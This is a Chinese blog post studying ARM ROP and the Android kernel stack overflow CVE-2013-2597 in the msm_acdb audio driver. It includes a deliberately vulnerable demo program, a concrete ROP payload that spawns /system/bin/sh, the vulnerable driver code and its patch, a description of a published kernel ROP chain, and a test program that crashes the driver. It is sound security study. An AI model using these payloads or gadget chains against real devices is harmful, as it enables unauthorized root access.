zoukankan      html  css  js  c++  java
  • Android内核栈溢出与ROP(CVE-2013-2597)

    一、准备

    由于内核栈不可执行(NX),栈溢出利用需用到ROP。简单回顾一下ARM ROP。

    漏洞演示代码如下,网上随便找了个。

    char *str="/system/bin/sh";
    
    void callsystem()
    {
      system("id");
    }
    
    void vulnerable_function() {
      char buf[128];
      read(STDIN_FILENO, buf, 256);
    }
    
    int main(int argc, char** argv) {
      if (argc == 2 && strcmp("passwd", argv[1]) == 0)
        callsystem();
      write(STDOUT_FILENO, "Hello, World
    ", 13);
      vulnerable_function();
    }
    

    vulnerable_function函数使用read从标准输入读数据到buf缓冲区,未校验拷贝长度导致栈溢出。分析其汇编代码:

    .text:000083BC vulnerable_function                     ; CODE XREF: main+68p
    .text:000083BC
    .text:000083BC buf             = -0x84
    .text:000083BC
    .text:000083BC                 STMFD   SP!, {R11,LR}
    .text:000083C0                 ADD     R11, SP, #4
    .text:000083C4                 SUB     SP, SP, #0x80
    .text:000083C8                 SUB     R3, R11, #-buf
    .text:000083CC                 MOV     R0, #0          ; fd
    .text:000083D0                 MOV     R1, R3          ; buf
    .text:000083D4                 MOV     R2, #0x100      ; nbytes
    .text:000083D8                 BL      read
    .text:000083DC                 SUB     SP, R11, #4
    .text:000083E0                 LDMFD   SP!, {R11,PC}
    .text:000083E0 ; End of function vulnerable_function
    

    首先LR,R11寄存器压栈,接着分配0x80即128字节的buf栈缓冲区。R3指向buf缓冲区底部。分别通过R0,R1,R2传递3个参数,(0, buf, 0x100【256】),调用read函数。最后恢复R11,并将函数开始时压栈的LR(保存的返回地址)弹出到PC。

    其栈结构如下:


    高 LR : 4Bytes | R11 : 4Bytes 低 buf : 128Bytes

    因此通过 132*‘A’ + addr 即可修改LR为addr,即而控制PC寄存器。我们的exploit目标是通过system(“/system/bin/sh”)返回一个shell。

    system()地址,与“/system/bin/sh”字符串地址都可以找到。但system()参数是id,需要修改R0寄存器,指向“/system/bin/sh”地址。

    .text:000083A8                 ADD     R3, PC, R3 ; aId ; "id"
    .text:000083AC                 MOV     R0, R3          ; r0指向"id",目标是修改为指向"/system/bin/sh"
    .text:000083B0                 BL      system
    

    下面分析如何查找Gadgets。目前为止,我们能通过溢出控制程序的栈,要修改R0寄存器的值,我们需要 ldr r0 或 mov r0, sp + #xxx类似的指令,来从栈上取值。

    当然这里考虑的是简单情况,像ldr r2mov r0, r2 等多条指令的组合都是符合要求的,我们使用ROPGadgets工具来查找Gadgets:https://github.com/JonathanSalwan/ROPgadget

    注意的是,我们的程序编译的是Thumb指令集,需要查找Thumb的Gadgets:

    zzhiyuan@ubuntu:~/Android_prj/ROP$ ROPgadget --binary=./bufferoverflow --thumb |grep "ldr r0, [sp, "
    ...
    0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
    0x000091c2 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} ; push {r3, lr} ; bl #0x91be ; pop {r3, pc}
    0x00008872 : ldr r0, [sp, #0xc] ; adds r1, r4, #0 ; ldr r3, [r4, #0x10] ; blx r3
    ...
    zzhiyuan@ubuntu:~/Android_prj/ROP$ 
    

    下面是找到符合要求的Gadgets,它符合要求的原因是1)是可以通过栈上的值(sp, #0xc)修改r0寄存器。2)是可以利用栈上值进行程序跳转(pop {pc}):

    0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
    

    接下来利用它,来布局我们控制的栈,完成利用。

    找到“/system/bin/sh”与system地址:

    .rodata:00009780 aSystemBinSh    DCB "/system/bin/sh",0
    
    .plt:00008494 ; int system(const char *)
    .plt:00008494 system                                  ; CODE XREF: sub_94C4:loc_94C8j
    .plt:00008494                 ADR     R12, 0x849C
    .plt:00008498                 ADD     R12, R12, #0x2000
    .plt:0000849C                 LDR     PC, [R12,#(system_ptr - 0xA49C)]! ; __imp_system
    

    plt是ELF的延迟绑定,其指令为ARM的,因此system函数地址为0x00008494 ,“/system/bin/sh”是Thumb下的地址需加1:0x00009781

    看下溢出时,如何布局栈:

    PoC构造如下:

    *** ’A’x132 + 0x00008a03 + ’A’x12 + 0x00009781 + ’A’x4 + 0x00008494 ***

    3处地址分别是:gadget addr , r0(system 参数), systemaddr

    以下简单回顾完ARM上的ROP过程,与x86差不多,不过要注意处理Thumb还是ARM指令集。下面就分析CVE-2013-2597这个洞的exploit.

    二、漏洞原理

    CVE-2013-2597是一个内核态copy_from_user的栈溢出,拷贝长度size参数由用户态arg传入,且只校验了它非负,当传入大于MAX_IOCTL_DATA的值时,acdb_ioctl函数栈溢出。

    uint32_t		data[MAX_IOCTL_DATA];
    ...
    	if (copy_from_user(&size, (void *) arg, sizeof(size))) {
    
    		result = -EFAULT;
    		goto done;
    	}
    ...
    	if (size <= 0) {
    		pr_err("%s: Invalid size sent to driver: %d
    ",
    			__func__, size);
    		result = -EFAULT;
    		goto done;
    	}
    ...
    	if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {
    
    		pr_err("%s: fail to copy table size %d
    ", __func__, size);
    		result = -EFAULT;
    		goto done;
    	}
    

    Patch很简单,只需校验用户传入长度小于data缓冲区大小:

    	if ((size <= 0) || (size > sizeof(data))) {
    		pr_err("%s: Invalid size sent to driver: %d
    ",
    			__func__, size);
    		result = -EFAULT;
    		goto done;
    	}
    

    三、漏洞利用

    战略性放弃。。网上只有fi01的利用介绍,但调试发现其汇编与我在Nexus 5上撸下来的内核里面的不一致,差异太大目前写不出相应的exploit。中文只有莫灰灰与申迪两篇,都是直接照抄翻译fi01的。

    但还是可以简单学习下,其思路。

    首先在代码中没有发现Canary,福音 :-p

    通过构造一个全0的data数据,可以从内核crach log中得到寄存器的值 (/proc/last_kmsg)。

          <3>[  348.770486] ACDB=> ACDB ioctl not found!
          <1>[  348.770547] Unable to handle kernel NULL pointer dereference at virtual address 0000009c
          <1>[  348.770608] pgd = df18c000
          <1>[  348.770639] [0000009c] *pgd=9b727831, *pte=00000000, *ppte=00000000
          <0>[  348.770700] Internal error: Oops: 80000007 [#1] PREEMPT SMP
          <4>[  348.770761] Modules linked in:
          <4>[  348.770791] CPU: 0    Not tainted  (3.0.8 #1)
          <4>[  348.770853] PC is at 0x9c
          <4>[  348.770883] LR is at acdb_ioctl+0x740/0x860
          <4>[  348.770944] pc : [<0000009c>]    lr : [<c0137658>]    psr: 60000013
          <4>[  348.770944] sp : ce513f28  ip : 00000000  fp : 00000098
          <4>[  348.771005] r10: 00000094  r9 : 00000090  r8 : 0000008c
          <4>[  348.771066] r7 : 00000088  r6 : 00000084  r5 : 00000080  r4 : 0000007c
          <4>[  348.771097] r3 : 00000000  r2 : ce513e74  r1 : c0973db8  r0 : 00000000
          <4>[  348.771158] Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
    

    首先反汇编do_vfs_ioctl,并观察其返回:

    c021d8fc: e2 8d d0 44           ADD     SP, SP, #0x44
    c021d900: e8 bd 83 f0           LDMUW   [SP], { R4-R9, PC }
    

    它将sp+0x44,并恢复r4-r9和pc值,因此通过布局栈,可以控制这些值,其中r5与r9下面有用。

    由以上panic的寄存器值可以发现,只要将栈上pc,即0x9c偏移处覆盖,就可以控制第一跳,跳到下面这里:

    c0381b98: e5 89 50 00           STR     R5, [R9]
    c0381b9c: e8 bd 87 f0           LDMUW   [SP], { R4-R10, PC }
    

    通过设置r5为shellcode地址,r9为内核fsync()符号地址,STR R5, [R9] 可以实现任意地址写的能力,这里非常巧妙的将栈溢出转为更容易利用的任意地址写任意值。

    接着通过控制PC完成下一跳,跳到:

    c0231b98: e2 8d d0 24           ADD     SP, SP, #0x24
    c0231b9c: e8 bd 83 f0           LDMUW   [SP], { R4-R9, PC }
    

    这一步ADD SP, SP, #0x24为了完成栈平衡。通过下图帮助理解:

    以上完成整个利用过程,并使do_vfs_ioctl正常返回不产生崩溃。

    测试中,发现另一处内核Panic,不知道是不是0day?

    [24953.996263] Unable to handle kernel paging request at virtual address ffffffee
    [24953.996653] pgd = e9870000
    [24953.996864] [ffffffee] *pgd=36beb821, *pte=00000000, *ppte=00000000
    [24953.999564] Internal error: Oops: 17 [#1] PREEMPT SMP ARM
    [24953.999804] CPU: 0    Not tainted  (3.4.0-gd59db4e #1)
    [24954.000206] PC is at ion_free+0x14/0xbc
    [24954.000437] LR is at msm_audio_ion_import+0x130/0x1b8
    [24954.000659] pc : [<c04a0340>]    lr : [<c015c7a4>]    psr: 60000013
    [24954.000673] sp : d613fdd0  ip : d613fdf0  fp : d613fdec
    [24954.001240] r10: c122a024  r9 : ed3793a0  r8 : 00000000
    [24954.001625] r7 : 00000000  r6 : c0e0fab4  r5 : c13a8cb0  r4 : c13a8cac
    [24954.001844] r3 : 19761abc  r2 : 19761abc  r1 : ffffffea  r0 : dca15b00
    [24954.002239] Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
    [24954.002630] Control: 10c5787d  Table: 31c7006a  DAC: 00000015
    

    测试代码:

    #define OVERFLOW_BUFFER_SIZE  0xc0
    
    struct acdb_ioctl {
        unsigned int size;
        char data[OVERFLOW_BUFFER_SIZE];
    };
    
    int test1()
    {
        const char *device_name = "/dev/msm_acdb";
        struct acdb_ioctl arg;
    
        int fd;
        int ret;
    
        fd = open(device_name, O_RDONLY);
        if (fd < 0) {
          printf("failed to open %s due to %s.
    ", device_name, strerror(errno));
          return -1;
        }
    
        arg.size = sizeof arg.data;
        memset(&arg.data, 0x0, arg.size);
        ret = ioctl(fd, 9999, &arg);
        close(fd);
    
        return 0;
    }
    

    四、参考

    1. https://www.codeaurora.org/news/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597

    2. https://gist.github.com/fi01/6097436

    3. https://gist.github.com/fi01/5857693

    4. http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html

    五、附录

    1)运行ROPgadget时报错:ImportError: No module named _sqlite3

    解决办法:

    1-安装sqlite3


    sudo apt-get install libsqlite3-dev


    2-重新编译安装Pyton

    进入解压的Python 2.7.6目录

    ./configure --enable-loadable-sqlite-extensions
    make
    make install
    

    2)ROPgadget –binary=./bufferoverflow –thumb |grep “ldr r0” 找不到Gadgets

    上面ROP回顾,开始直接使用arm-linux-androideabi-gcc交叉编译的,遇到这个问题。但使用ndk-build就OK了。原因没分析。

  • 相关阅读:
    剑气之争,聊聊算法岗位的门户之见!
    80%学生的困惑,学完C/C++之后学什么?
    算法工程师日常,训练的模型翻车了怎么办?
    迭代器设计模式,帮你大幅提升Python性能
    十年编程经验总结,三点技巧帮你提升代码能力!
    CenterNet:Corner-Center三元关键点,检测性能全面提升 | ICCV 2019
    CornerNet:经典keypoint-based方法,通过定位角点进行目标检测 | ECCV2018
    阿里面试:MySQL如何设计索引更高效?
    大厂是怎么进行SQL调优的?
    程序人生|从网瘾少年到微软、BAT、字节offer收割机逆袭之路
  • 原文地址:https://www.cnblogs.com/gm-201705/p/9863991.html
Copyright © 2011-2022 走看看